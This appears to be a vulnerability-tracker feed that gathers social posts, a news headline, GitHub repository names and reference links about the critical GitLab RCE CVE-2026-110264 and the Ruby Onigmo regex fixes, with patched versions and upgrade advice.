  • social bsky.app @chriskrycho.com 2026-10-25 22:50 UTC
    Well, I was joking about this, but… dang. www.ruby-lang.org/en/news/2026/1… (I haven’t heard about one for C♯ yet. Good luck to the .NET folks, for real.)
    Open source
  • social infosec.exchange @115467918781963566 2026-10-25 22:09 UTC
    This week has been extremely busy. I have seen 4x RCE vulnerabilities, compromised eMudhra CA certificates that spill into their own CVE for Java with a CVSS of 9.1, and 3x DoS type of vulnerabilities, all in very popular and widely used s…
    Open source
  • social infosec.exchange @117491494916814649 2026-10-25 14:05 UTC
    Neue kritische Lücke, und die erste Frage ist immer: Betrifft uns das? Unser kostenloser Check sagt es dir. Version auswählen, inklusive Fix-Version. Der Check läuft komplett im Browser, deine Daten bleiben bei dir. Das Ergebnis gibt es na…
    Open source
  • social mastodon.social @linuxmint_hun 2026-10-25 13:06 UTC
    CW: technikai sebezhetőség Ruby 4.0.9, 3.4.12 és 3.3.13 javít három Onigmo regex-motort érintő hibát, amelyek négy kritikus GitLab RCE-hez vezettek (pl. CVE-2026-110264, CVE-2026-97229). Érintett: ha támadó-vezérelt sztringből fordítasz Re…
    Open source
  • social mastodon.social @linuxmint_hun 2026-10-25 12:47 UTC
    CW: security Kritikus, hitelesítés nélküli RCE a GitLabban — CVE-2026-110264 (CVSS 10.0). Érint minden saját üzemeltetésű kiadást 7.0 óta. Frissítsetek a javított kiadásokra: 19.5.1, 19.4.3, 19.3.6, 19.2.9, 19.1.9, 19.0.10 vagy 18.11.13. G…
    Open source
  • social bsky.app @hey-kira.bsky.social 2026-10-25 10:04 UTC
    AI-generated · GitLab fixed CVE‑2026‑110264 (CVSS 10) on Oct 21 in 19.5.1 and backports. Self‑managed builds below those patches are vulnerable; upgrade now. GitLab.com and Dedicated 19.3.5‑internal0/19.4.2‑internal0+ already include the f…
    Open source
  • social bsky.app @technews4869.bsky.social 2026-10-25 09:33 UTC
    www.ruby-lang.org/en/news/... Regexp compilation fixes related to GitLab's CVE-2026-89078, CVE-2026-93577, CVE-2026-97229 and ...
    Open source
  • news rescana.com 2026-10-25 07:00 UTC
    Ruby Fixes the Onigmo Regexp Bugs Behind GitLab's Four CVEs: Upgrade to 4.0.9, 3.4.12 or 3.3.13 If Your Apps Compile Untrusted Patterns - Rescana
    Open source
  • code github.com emirwtz 2026-10-24 19:06 UTC
    emirwtz/CVE-2026-110264
    Open source
  • code github.com mehmet-emir-eroglu 2026-10-24 19:06 UTC
    mehmet-emir-eroglu/CVE-2026-110264
    Open source
  • social bsky.app @reformedsaint.npmx.social 2026-10-24 16:15 UTC
    Oh hey another CVSs 10 thehackernews.com/2026/10/crit...
    Open source
  • code github.com Masriyan 2026-10-24 14:23 UTC
    Masriyan/Exploit-CVE-2026-110264-GitLab-CE-EE-RCE
    Open source
  • social bsky.app @topiatsume.bsky.social 2026-10-24 08:03 UTC
    💻 Ruby 4.0.9、3.4.12、3.3.13公開、正規表現エンジンの不具合を修正 ——GitLabの任意コード実行の脆弱性に関連 Rubyの開発チームは10月23日、バージョン4.0.9、3.4.12、3.3.13を公開した。 ・CVE-2026-97229とCVE-2026-110264はCVSS v3.1で10.0の深刻度 ・Ruby側は今後CVE申請を検討し、ドキュメントの見直しを予定 📰 2媒体が報道: 窓の杜・gihyo.jp ▶ 各社の報道を比べる to…
    Open source
  • social bsky.app @wojak7537.bsky.social 2026-10-24 07:57 UTC
    Ruby 3.4.12 was released on 23 Oct 2026, fixing Regexp compilation bugs that GitLab's CVE-2026-89078, CVE-2026-93577, CVE-2026-97229 and CVE-2026-110264 rely on.
    Open source
  • code github.com googlesky 2026-10-24 07:11 UTC
    googlesky/CVE-2026-110264
    Open source
  • social bsky.app @pmloik.bsky.social 2026-10-24 06:24 UTC
    Top 3 CVE for last 7 days: CVE-2026-109618: 1152 interactions CVE-2026-109619: 934 interactions CVE-2026-110264: 264 interactions Top 3 CVE for yesterday: CVE-2026-115560: 126 interactions CVE-2026-109619: 121 interactions CVE-2026-109618:…
    Open source
  • social infosec.exchange @cloud 2026-10-24 05:21 UTC
    🤖 Ruby 4.0.9, 3.4.12 and 3.3.13 fix the Onigmo memory-corruption bugs behind GitLab's CVE-2026-89078 (double free in regex parser), CVE-2026-93577, CVE-2026-97229 and CVE-2026-110264 — RCE when a user-supplied pattern is compiled. Regexp.t…
    Open source

References (4)

Title Tags URL
nvd.nist.gov
NVD reference
https://nvd.nist.gov/vuln/detail/CVE-2026-110264
gitlab.com
GitHub CVE
https://gitlab.com/gitlab-org/gitlab/-/work_items/633633
hackerone.com
GitHub CVE technical-description exploit permissions-required
https://hackerone.com/reports/4093475
docs.gitlab.com
GitHub CVE
https://docs.gitlab.com/releases/patches/patch-release-gitlab-19-5-1-released/